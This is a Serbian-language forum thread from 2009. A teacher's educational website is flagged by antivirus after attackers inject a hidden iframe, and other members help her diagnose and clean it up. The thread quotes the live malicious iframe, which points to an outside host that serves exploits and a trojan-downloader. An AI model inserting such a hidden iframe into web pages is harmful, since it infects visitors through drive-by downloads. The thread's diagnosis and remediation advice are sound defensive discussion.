Blokiran sajt - potrebna pomoc

• 0Niko još nije pohvalio poruku.
  Registruj se da bi pohvalio/la poruku!

Od danas AVG blokira sajt koji povremeno azuriram i za koji znam da je cist i ispravan. Sta da radim, kako to da resim, kome da se obratim? U pitanju je obican html sajt reaching-english.com

P.S. Nece me biti sledeca dva dana tu pa cu predlozena resenja isprobati kad dodjem. Do tada cu poludeti

• 0Niko još nije pohvalio poruku.
  Registruj se da bi pohvalio/la poruku!

<iframe src="http://nyfilmlife.cn:8080/index.php" width=156 height=125 style="visibility: hidden"></iframe>

Jesi li ovo namerno ubacio? Mislim da nisi - zasto bi ubacio sakriveni IFRAME, koji i FF markira kao Reported attack site?

• 0Niko još nije pohvalio poruku.
  Registruj se da bi pohvalio/la poruku!

Napisano: 14 Jun 2009 1:15

Naravno da nisam namerno ubacila. Sajt ima edukativnu svrhu, namenjen je profesorima i ucenicima. Sta da radim???? Ima li nekoga ko mi moze pomoci? Da li je moguce da to neko drugi uradi?

Dopuna: 14 Jun 2009 1:20

Inace sajt sam azurirala pre 7 do 10 dana. Od tada nista nisam menjala. Zadnjih 7 dana i unazad sve radilo normalno, a danas se desilo ovo.

Dopuna: 14 Jun 2009 2:10

Popravila sam tako sto sam sa hdd uploadovala sajt, ali mi ostaju dva pitanja:

1. kako se to desilo, da li je zla namera ili je mozda do servera onih koji mi obezbedjuju hosting?

2. Kako spreciti da se to ne ponovi i da li se obratiti provajderu za pomoc?

• 0Niko još nije pohvalio poruku.
  Registruj se da bi pohvalio/la poruku!

Moguce da je do hostinga.kontaktiraj ih i vidi jel jos neko ima tih problema.
Najbolje bi bilo da ti obrisu sve i ponovo kreiraju nalog.Promeni lozinku za pristup serveru.
ako budes imala i dalje problema,javi se ovde,da nadjemo neko resenje.Poz

• 0Niko još nije pohvalio poruku.
  Registruj se da bi pohvalio/la poruku!

Napisano: 14 Jun 2009 22:35

Pogledao sam onaj IFRAME.
Maliciozan je svakako, i koristi par exploita da bi skinuo jedan trojan-downloader, koji ce nakon toga skinuti drugi fajl i ubaciti ga kao C:\Documents and Settings\user\Start Menu\Programs\Startup\rncsys32.exe

Za sada ni jedan antivirus ne detektuje ove fajlove


@FaithM
Moraces da pogledas sa adminom servera sta sve ima od aplikacija na serveru koje nisu updateovane, jer je hacker ocigledno iskoristio neki propust da bi ubacio ovo.

Dopuna: 14 Jun 2009 22:45

Pogledao sam i ostale sajtove koji su hostovani na istom serveru i ni jedan od njih nije zarazen. Znaci, nesto je imalo na ovom sajtu sto je hakeru pruzilo mogucnost da upadne.
Eventualno da je komp bio zarazen nekom infekcijom koja je promenila sve HTML fajlove na lokalnom disku (cini mi se da su neke Fujack infekcije radile bas tako nesto).

• 0Niko još nije pohvalio poruku.
  Registruj se da bi pohvalio/la poruku!

Napisano: 14 Jun 2009 23:40

Hvala vam puno obojici. Sutra cu kontaktirati admina servera i javiti vam sta mi je odgovorio. Ako je zaista nekome bilo u interesu da se igra ovakvim sajtom, onda mi zaista ne ide u glavu zasto bi to uradio. No, dobro. Jos jednom vam hvala obojici, javljam se sa odgovorom cim ga dobijem.

P.S. Citiracu i vas kada mu se budem obracala, jer nisam toliko strucna. Ako neko ima nesto da doda, neka mi poslaje Pm.

Dopuna: 14 Jun 2009 23:43

bobby ::Napisano: 14 Jun 2009 22:35

Eventualno da je komp bio zarazen nekom infekcijom koja je promenila sve HTML fajlove na lokalnom disku (cini mi se da su neke Fujack infekcije radile bas tako nesto).

Posto sam sa lokalnog diska uploadovala html fajlove i cini se time popravila stvar, da li to iskljucuje mogucnost da su oni zarazeni obzirom da sada sve radi?

• 0Niko još nije pohvalio poruku.
  Registruj se da bi pohvalio/la poruku!

Nisi jedina zrtva ovakvog ubacivanja frejma.
U zadnje vreme ovo je postala prava kuga.

Pitao sam i ja neke prijatelje ako znaju sta ovi obicno koriste da bi ubacili ove frejmove, pa javljam ako nesto saznam od njih.

Ako su fajlovi sa tvog diska OK, i niko drugi ne odrzava ovaj sajt, onda iskljucujemo mogucnost lokalne zaraze na tvom kompu.

• 0Niko još nije pohvalio poruku.
  Registruj se da bi pohvalio/la poruku!

Odgovor administratora servera:

Vašoj prezentaciji je pristupano 7.6.2009 i 9.6.2009 putem FTP konekcije iz Sjedinjenih Država. Ukoliko nemate administratore tamo, možemo smatrati da je Vaša FTP šifra kompromitovana.

Potrebno je da zatražite izmenu FTP šifre.

Nakon izmene je potrebno da preuzmete prezentaciju i izvšite skeniranje antivirusnim programom iste,a nakon toga je vratite na hosting server. Ukoliko imate backup prezentacije, samo obrišite postojeću i nakon potvrde o izmeni lozinke postavite backup.

Takođe povedite računa o zaštiti Vašeg računara, jer su šifre najčešće kompromitovane tako što sam korisnik ima zaražen računar sa koga virusi (trojanci) javljaju šifre.

E sad se ja pitam, kome je toliko dosadno da hakuje mali srpski sajt